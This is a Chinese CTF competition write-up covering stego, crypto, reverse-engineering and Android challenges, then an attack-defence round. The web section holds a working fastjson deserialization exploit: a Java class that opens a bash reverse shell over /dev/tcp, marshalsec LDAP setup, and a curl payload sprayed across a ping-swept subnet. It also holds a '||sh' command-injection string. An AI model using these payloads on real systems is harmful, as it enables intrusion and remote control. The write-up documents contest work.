目录
总结
笔者就是个ctf小白,经历了超痛苦的ctf分组对抗赛,被各种大佬狂虐,还好有一群超靠谱的队友,最后还算是有一个比较好的结果。
个人认为ctf非常吃做题经验,也考验我们对基础知识的掌握程度。当笔者在做web、mobile题时,明显感觉自己对于网络的了解不够,看不懂html,java,JavaScript代码,写起脚本来很吃力,对网络的工作原理理解不足。这也警醒笔者要加强基础知识的学习,不能好高骛远。也要注重实践,不能仅仅纸上谈兵。
同时,也要注意知识的总结。在这次ctf学习中,明显感觉工具用多了会忘,知识永远也学不完。这也是写这篇感想的初衷:将本次学习的感想记录下来。
也希望这篇文章对大家有所帮助。
运用环境和条件
系统配置图
Windows:
版本 Windows 11 专业版
版本 22H2
操作系统版本 22621.2134
Linux:
版本:Ubuntu
软硬件清单
序号 | 工具名称 | 版本 | 用途 |
1 | masscan | 1.3.2 | 主机发现、端口扫描 |
2 | Burpsuite pro | 2023.9.4 | 抓包 |
3 | Nmap | 7.91 | 端口扫描、PoC验证 |
4 | Java8 | 1.0.8 | 执行恶意java脚本 |
5 | dirsearch | 0.4.3 | 目录扫描 |
6 | marshalsec | 0.0.3 | 生成fastjson反序列payload |
目标系统(或网络)环境
解题思路:
具体解题过程:
拿到题目观察:图片为JPG格式,标题为reserveme
有日文与显眼的32,猜测为与日语相关的加密系统。上网搜索与日语相关的加密信息,为日语50音。将图片中日文通过日语50音图转化得到罗马音
进行Base32解码,无果。
由于只取到所有音节的前15个,猜测可能为Base16,将罗马音表转化为顺序表
Base16解码失败,想到reserveme,将翻转数字通过Base16解码,得到flag。
大家来找茬
解题思路:
具体解题过程:
打开两张图片,肉眼无法发现异常:
由于是找茬类,联想到0+0=1,1+1 = 1的异或运算,将两张图片放入stegsolve中进行异或:
移动到SUB通道后出现flag。
萌萌哒学姐
解题思路:
具体解题过程:
反编译查看java代码,发现其验证函数是Mm.getString2。打开Mm类,发现其加载了so文件,Mm调用了getkey Native方法。IDA打开SO文件,发现导入了几个libdvm.so函数。
这些函数跟dvm Method方法很有关
分析On_load方法:
Strdup是赋值字符串,可以肯定sub_2ef4是解密函数。
到这里,已经基本可以确定是getString2方法被动了手脚。因为此方法本来是个java层方法,上面分析此方法调用native层的getkey方法。由于on_load方法还没有注册getkey方法,此时解密这些字符串是不可能去反射调用getString2。那么,要么动态篡改字节码,要么java hook。再结合导入了dvm函数,基本可以确定是java hook。可以根据JAVA hook源码进行分析
[http://bbs.pediy.com/showthread.php?t=186054&highlight=hook+java](http://bbs.pediy.com/showthread.php?t=186054&highlight=hook+java)
寻找到java中重要的Getstring2函数所对应的NATIVE层函数sub_20fc
寻找该函数返回为1的地方:
可以确定这个循环是比较结果的地方。循环变量放在r3中,那么即是比较r5和r2中的值,而r2的值是从r7拷贝过来的,R7的值是从getUtfchars从输入String中获取的,即是输入。跟进sub_2d58,发现为aes,那么只需要逆aes即可得到flag。
乱七八糟
解题思路:
一、首先试运行程序
发现需要输入字符串password。
二、将文件拖入IDA中
看到这段话,怀疑该段exe程序被加壳了,用die检查。
将文件拖入die检查,果然被加壳了,而且是32位。于是用万能脱壳工具脱壳,并将脱壳后的结果再次拖入IDE中反编译。
涉及很复杂的函数相互调用,果然和题目描述一样:乱七八糟。于是查看字符串,看看是否有有效信息。
发现了关键字符串:Please input password。除此之外没有发现其他有效信息,但怀疑Please input password上面的16个16进制字符串提示某种信息。
三、尝试用以上16个16进制数字转字符串。
得到:617379转换为字符串为:asy;666f72转换为字符串为for;495343转换为字符串为ISC;5f6172转换为字符串为_ar;696375转换为字符串为icu;746869转换为字符串为thi;6e6773转换为字符串为ngs;696666转换为字符串为iff;437b41转换为字符串为C{A;6c747d转换为字符串为lt};5f6265转换为字符串为_be;6c6c5f转换为字符串为ll_;655f64转换为字符串为e_d;686579转换为字符串为hey;655f74转换为字符串为e_t;转655f65换为字符串为e_e。
将这16个字符串连在一起,并尝试拼成有含义的英文单词,最终得到flag:ISCC{All_things_are_easy_before_they_are_difficult}。
使用到的软件:IDE、万能脱壳工具、die
优雅的秘密
解题思路:
脚本流程图
一、用JEB打开apk文件,查看apk文件的结构
本题是一道misc的题目,却给了一个apk文件,将文件下载在夜神模拟器上发现是一张图片不断变换颜色,没有发现其他有用的信息。于是用JEB打开这个文件查看文件的结构。
点击MainActivity,发现函数doInBackground()可能含有效信息。因为语句:Log.v("BMP", "Start:" + v9 + "," + v11 + "#" + v4 + "," + v5 + "," + v6);和MainActivity.this.lenaBm.setPixel(v1, v2, LenaBMP.GetPixel(v1, v2, 0xFF, v4, v5, v6));可能和apk文件不断变色有联系。但双击setPixe函数发现不能直接查看源代码,于是猜这个函数可能是native,且暂时没有看出以上两段代码的具体含义。
再次查看apk文件的结构,发现该文件还含有liblena.so文件。和处理mobile题思路类似,我们用ida打开这个liblena.so文件检查是否有可用信息。
发现GetPixel函数中多次使用bmp_data[]数组,但没有发现其他有用信息,于是双击bmp_data数组,发现bmp_data[]数组中很像储存了像素值。
导出bmp_data[]数组,并编写脚本尝试用bmp_data[]数组中的像素值创建图像。
二、编写脚本,得到图片
三、用bingwalk、zsteg查看产生的图片
bingwalk只发现一个bmp文件,因此尝试用zsteg查看图片。
发现有一个压缩包,输入命令zsteg -E ‘b1,r,msb,xY’ 2.bmp > 2.rar导出压缩包文件,并将其打开,得到一张图片。
得到flag:e3M52QGFYEMwrhFA760Cyq7Wohwv4oZPULPU7FnKBWv8BVv01ie9BRwITorCpBu0
简单到不行
一、附件为Apk文件,于是用JEB反编译并找到主函数
观察可知,突破点为checkflag函数,于是双击打开
二、checkflag是native层函数,于是导出Libraries中的libISCC.so
三、用IDA pro x32打开,反编译找到主要函数native_checkflag
由函数可知:
对Falg字符串前半部分都-5与后半部分交换后得到=0HWYl1SE5UQWFfN?I+PEo.UcshU
于是编写脚本
str="=0HWYl1SE5UQWFfN?I+PEo.UcshU" lenth=len(str) for i in range(lenth): if i < lenth/2: print(chr(ord(str[lenth-1-i])+5),end="") else : print(str[lenth-1-i],end="") |
四、对得到的字符串进行base64解码
flag{ISCCJAVANDKYXX}
findme
Step1:使用IDA打开Basic-12.exe,发现有很明显的提示
得到字符串:
U2FsdGVkX1/Z8qBz5HTVQK0ZIUtHb3JxAXOCPmK2+9u6XtBW8UpQ7db4/n0N6SNpnElT
Step2:尝试各种解密方式,尝试base64,无果,选择更加复杂的加密方式进行尝试
Step3:在数次尝试中,仅有RC4成功解密,观察解密出的明文,发现并非Flag
Step4:再观察明文LM:可能提示了什么,进行搜索发现存在LM散列,尝试使用软件解密LM散列
在下载一个官方密码表后得到了ISCC123,很像flag了,尝试后正确
Crackme
1.
MFC写的程序,输入任意字符串,提示”Wrong Number”
用MFC事件处理函数的工具xspy打开扫一下,发现一个函数地址0x004032E0
2.IDA pro打开,定位到地址
启动调试失败,发现表里存在反调试逻辑Tls
下断点
调试时,将此时的NtCurrentPeb()->BeingDebugged位由1修改为0,即可绕过反调试
F9进行调试
将NtCurrentPeb()->BeingDebugged位由1修改为0
修改完后,F9继续运行
阅读函数
确定前5位为”21141”,6-8位任意
继续向下看
查看sub_402F40函数
编写脚本
运行,得到结果flag2= 94266131/96177232
import claripy inp = [claripy.BVS(f"inp_{i}", 8) for i in range(8)] flag2 = claripy.Solver() flag2.add(inp[6] > 1) flag2.add(inp[6] <= 9) flag2.add(inp[0] > 7) flag2.add(inp[0] <= 9) flag2.add(inp[0]//inp[6] == 3) flag2.add(inp[0] % inp[6] == 0) flag2.add(inp[2]+inp[5] == inp[6]) flag2.add(inp[2]+inp[7] == inp[6]) flag2.add(inp[2] != 0) flag2.add(inp[7] > 0) flag2.add(inp[7] <= 2) flag2.add(inp[2] != inp[6]) flag2.add(inp[3] == inp[4]) flag2.add(inp[3] == inp[2]+inp[1]) flag2.add(inp[3]+inp[2] == 8) for i in flag2.batch_eval(inp, 10): for j in i: print(chr(j+0x30), end="") print() |
于是得到flag:21141XXX96177232/21141XXX96177232
GOGOGO
Step1:linux里运行gogogo文件,随意输入,返回Wrong!!!
Step2:file查看文件类型
Step3:objdump查看文件起始位置为:0x0000000000428500,64位地址
Step4:IDA打开gogogo文件,查找Wrong!!!
Step5:从代码sub_428510追踪到loc_425AC0
该段代码从425AC0开始到425BF2结束,中间调用函数如下
Step6:在kali终端运行“./gogogo”,再运行“ps -ef | grep gogogo |grep -v grep”,查看端口
Step7:启动gdb,调试程序
Step8:当前运行函数为473204,共有三层栈:473204、471f35
查看473204代码,追溯上一部的syscall系统调用
Step9:在0x473202处下断点,查看此时的调用情况
得到rsi中存放的参数0xc2080001f0,即程序输入端的输出指示
Step10:继续运行函数,重复查看寄存器内容
此时rax=0、rdi=0,则字符串0xc208015000地址中存放用户输入,在473204下断点查看
重复以上操作,追踪数据存放地址的引用函数:
在0x4278A1处,0xc20801500x对输入字符串长度进行判断
在0x4284DC处,字符串拷贝到0xc208000200
再对0xc208000200下断点:
在0x4284E0处,字符串拷贝到0x208000205,在该地址也下断点
最终追踪回函数0x400F43,两个分支判断条件为0x400F8F和0x400FAC
0x400F8F处的字符串满足长度要求为38时,进入0X400FA2
故最终判断函数在sub_400CB0中
Step11:重新执行程序,输入“12345678900987654321123456789009876543”38位输入,断点查看各函数执行情况,可知,sub_445560将输入字符串base64编码为52个字符,每个字节的高低位进行交换,当互换结果等于[data_506180],校验通过,反之则输出“Wrong!!!”
Step12:找到[data_506180]
Step13:对数据进行位置回换
5A 6D 78 68 5A 33 73 30 4E 57 4E 6B 59 7A 6C 6D 4E 44 49 35 4E 6A 6B 35 4D 32 4D 77 4D 7A 64 6B 5A 47 55 31 4D 6A 63 78 59 57 55 34 59 6A 51 30 59 33 30 3D
Step14:转化为ascii码
一眼base64
Step15:进行base64解码,得到flag!!
32
一、
放入IDA中查看,发现zip文件头
二、解压得到32.txt文件:
三、
编写解题脚本,得到zip4.zip文件
四、
根据提示采取CRC32爆破,使用32.py脚本分别爆破各个文件:
最后的FLAG是ISCC{cr4ck_crc32_is_s0_e4sy_!}
淘金
观察GIF文件,使用STEGSOLVE打开分析,发现是100张图片,类似二维码
由于一张张点太麻烦,使用在线网站分离图片
上面是分解的效果
使用STEGSOLVE进行位移分析,色彩分析,发现没有藏东西,观察属性也没有藏,BINWALK看了也没有藏。然后分析100张图片,暂时没看出有什么东西
认真分析了下第62张,发现有二维码定位符,但扫不出来,甚至分析了题目给的诗句,为浪淘沙(其八),还以为第八张藏东西,结果也是搞了半天没东西。。。。。。
然后做一些尝试,把定位符补全了,看一下有没有东西
扫了发现就是FLAG的base64加密
ISRDQzgxMDI=
解密后:!$CC8102
总结一下,流程就是:
在线工具分离图片
找出有定位符的二维码图片
补全定位符,扫描
解码base64加密得flag
乌龟壳的秘密
乌龟壳的秘密wp:
将apk文件导入JEB中查看:
从上图可知这是一个native层的方法,接下来导出so文件并用IDA打开
IDA打开后发现该so文件被加密,接下来判断加密方式
可以看到该section段被隐藏,可以判断为基础的section加密。Section机密的基本思路是通过offset和size找到加密位置后进行加密,那我们只需要在JNI_OnLoad加载之前先一步进行解密操作即可得到被隐藏的信息。接下来进行解密操作
首先确定加密函数:
可以看出加密方式为Cryptography库进行加密,我们对此进行分析(gpt一下):
好了,接下来我们可以进行解码操作的编写,脚本函数如下:
#include
<elf.h>
#include
<sys/mman.h>
void
init_getString()
__attribute__((constructor));
void
init_getString(){
char
name[15];
unsigned
int
nblock;
unsigned
int
nsize;
unsigned
long
base;
unsigned
long
text_addr;
unsigned
int
i;
Elf32_Ehdr
*ehdr;
Elf32_Shdr
*shdr;
// 获取so的起始位置
base=getLibAddr();
// 获取指定section的偏移值和大小
ehdr=
(Elf32_Ehdr
*)base;
text_addr=ehdr->e_flags+base;
// 偏移值
nblock=ehdr->e_entry;
// 大小
nsize=nblock/4096+(nblock%4096==0?0:1);
// 修改内存操作权限
if
(mprotect((void
*)
(text_addr/PAGE_SIZE*PAGE_SIZE),4096*nsize,
PROT_READ|PROT_EXEC|PROT_WRITE)!=0){
__android_log_print(ANDROID_LOG_INFO,"TAG","修改内存权限失败");
}
// 解密
for
(int
i=0;i<nblock;i++){
char
*addr=
(char
*)(text_addr
+
i);
*addr=~(*addr);
// 取反,等价于与0xFF异或
}
if
(mprotect((void
*)
(text_addr/PAGE_SIZE*PAGE_SIZE),4096*nsize,
PROT_READ|PROT_EXEC)!=0){
__android_log_print(ANDROID_LOG_INFO,"TAG","修改内存权限失败");
}
__android_log_print(ANDROID_LOG_INFO,"TAG","解密完成");
}
在该脚本中,我们通过相同的操作获取地址进行异或解码,注意,上述操作须在安卓stdio下完成,最后dump出新的apk获取so文件用IDA查看隐藏内容即可。
可以看到在隐藏函数中对后十六位进行了替换,(bingmeiyoushenmeluanyong还是有用滴),只需要复原即可,笔头完成。
最后获取flag:06DD98D9C41E8C40 64476221C5E56401
猜猜我在哪
Apk文件放在JEB没有找到MAINACTIVITY,怀疑被套壳了。用APKTOOL解析,得到了如下文件:
参考以下教程脱壳:
得到程序的dex,然后MainActivity方法的解析代码:
使用youLucky接口,构造js,弹出flag
对抗题
pwn
通过web我们大致了解了本机到攻击机到私地到其他私地的拓扑结构。使用本机直连攻击机,通过攻击机连接私地,在私地内使用nc链接其他靶机进行攻击。
使用“nc 192.168.3x.xxx 8000”链接到靶机,靶机会返回Welcome to ISCC debug tool。
Usage:url www.baidu.com
CMD:
即链接上了靶机,然后CMD:就进入了靶机的命令行。然后输入url www.baidu.com||sh;
指令使用url访问百度,而后用||或上sh指令。这样相当于注入了sh权限。然后输入getflag,即相当于以root权限getflag,即可攻击成功
记录扫描到的可攻击ip,以实现攻击。
其中包括无法攻击的ip
与上图同样的报错
web
一、环境
1.操作系统
Windows:
版本 Windows 11 专业版
版本 22H2
操作系统版本 22621.2134
Linux:
版本:Ubuntu
2.工具
·Burp suit V2023.9.4用于转发HTTP包
·marshalsec 0.0.3生成fastjson反序列工具
·Nmap扫描私地开放端口
二、网络结构
三、攻防过程
1攻击私地
(1). SSH连接攻击机
打开Windows的命令行
SSH + 用户名@攻击机IP 输入密码 |
(2).配置虚拟机环境
·换国内镜像源
·更新apt
·安装nmap
(3).nmap扫描私地开放端口
发现8080端口开放
(4). SSH 开启 SOCKS 代理
ssh -D [本地端口] [用户名]@[服务器地址] |
Windows打开命令行
就开启了 SSH 的动态端口转发功能,来在本地主机上开启一个 SOCKS 代理。这样,您就可以通过 SSH 隧道将主机的网络流量转发到远程服务器,从而实现代理访问
(5).访问私地8080端口
在浏览器或其他应用程序中配置 SOCKS 代理,将代理服务器地址设置为 localhost ,端口号 设置为 [本地端口](例如 11451 ),即可通过 SSH 隧道实现代理访问。下面以burf suit为例
配置完成后即可访问私地的网址
(6).漏洞利用
·根据day3的hint,才知道要使用fastjson反序列化漏洞
根据题目whatsyourname找到了包含fastjson反序列化漏洞的地址
192.168.33.228:8080/whatsyourname
用burp抓包,改POST请求,添加参数{"name":"xx","age":"999"},查看返回,服务正常。
经过测试,发现漏斗存在
·将下载的反序列化利用工具 marshalsec-0.0.3-SNAPSHOT-all.jar传入攻击机
import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/172.17.0.112/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { } } |
·在同一文件夹下创建Exploit.java
·输入命令javac Exploit.java进行编译,形成Exploit.class文件
·同一目录下开启python,构造恶意站点
python -m SimpleHTTPServer 8083 |
·marshalsec启动
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http:// 172.17.0.112:8083/#Exploit 9999 Listening on 0.0.0.0:9999 |
·开启nc监听
nc -lvp 1888 |
·发包攻击
curl -X POST -d '{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"age":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://172.17.0.112:9999/ Exploit ","autoCommit":true}}' http:// 192.168.33.228:8080/whatsyourname / |
·获得了getshell
getflag得到flag
2攻击他人领地
(1).提权工具进行提权
(2).配置与攻击机相同的环境
(3).脚本扫描各个网段的私地
创建1.sh
for ip in `seq 1 255` do { ping -c 1 192.168.33.$ip >/dev/null 2>&1 if [ $? -eq 0 ];then echo 192.168.33.$ip UP else echo 192.168.33.$ip DOWN fi }& done wait |
终端输入命令
sh 1.sh
(4)对存活主机进行发包攻击
curl -X POST -d '{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"age":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap:// 192.168.33.228:9999/ Exploit ","autoCommit":true}}' http:// 192.168.33.XXX:8080/whatsyourname / |
Getshell后getflag获得私地flag攻击成功
3 防御
在私地提权后
·修改密码
·关闭8080端口
netstat -apn | grep 8080 |
·删除whatsyourname